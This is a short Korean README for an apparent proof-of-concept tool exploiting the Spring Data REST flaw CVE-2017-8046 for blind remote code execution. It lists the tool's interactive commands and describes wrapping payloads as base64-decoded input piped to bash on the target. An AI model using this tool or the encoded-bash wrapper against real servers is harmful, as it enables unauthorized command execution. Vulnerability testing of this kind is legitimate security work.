
SpringBreak(CVE-2017-8046)용 PoC
최근 공개된 SpringBreak 취약점(CVE-2017-8046)에 대해 여러 엔드포인트를 테스트할 도구가 필요했지만, 마땅한 도구를 찾지 못해 이걸 급조했습니다.
_______ _______ _______ _________ _ _______ ______ _______ _______ _______ _
( ____ \( ____ )( ____ )\__ __/( ( /|( ____ \( ___ \ ( ____ )( ____ \( ___ )| \ /\
| ( \/| ( )|| ( )| ) ( | \ ( || ( \/| ( ) )| ( )|| ( \/| ( ) || \ / /
| (_____ | (____)|| (____)| | | | \ | || | | (__/ / | (____)|| (__ | (___) || (_/ /
(_____ )| _____)| __) | | | (\ \) || | ____ | __ ( | __)| __) | ___ || _ (
) || ( | (\ ( | | | | \ || | \_ )| ( \ \ | (\ ( | ( | ( ) || ( \ \
/\____) || ) | ) \ \_____) (___| ) \ || (___) || )___) )| ) \ \__| (____/\| ) ( || / \
\_______)|/ |/ \__/\_______/|/ )_)(_______)|/ \___/ |/ \__/(_______/|/ \||_/ \/
PoC for CVE-2017-8046. Available commands:
target <https://host/app/path>
exec <command to execute on target>
base64 <on|off> (Toggles base64 encoding of commands (uses bash), default: on)
verify <on|off> (Toggles SSL verification, default: on)
exit
Note: This is blind RCE, commands executed will not return output.
SpringBreak>
이 명령들은 자명하지만, base64에 대해 좀 더 설명하자면:
base64는 기본적으로 활성화되어 있으며, 명령어를 base64로 변환한 다음 bash -c {echo,BASE64_COMMAND}|{base64,-d}|{bash,-i}로 감쌉니다. 비활성화하면 (바이트 배열로 변환한 후) 원시 명령어를 그대로 전송합니다.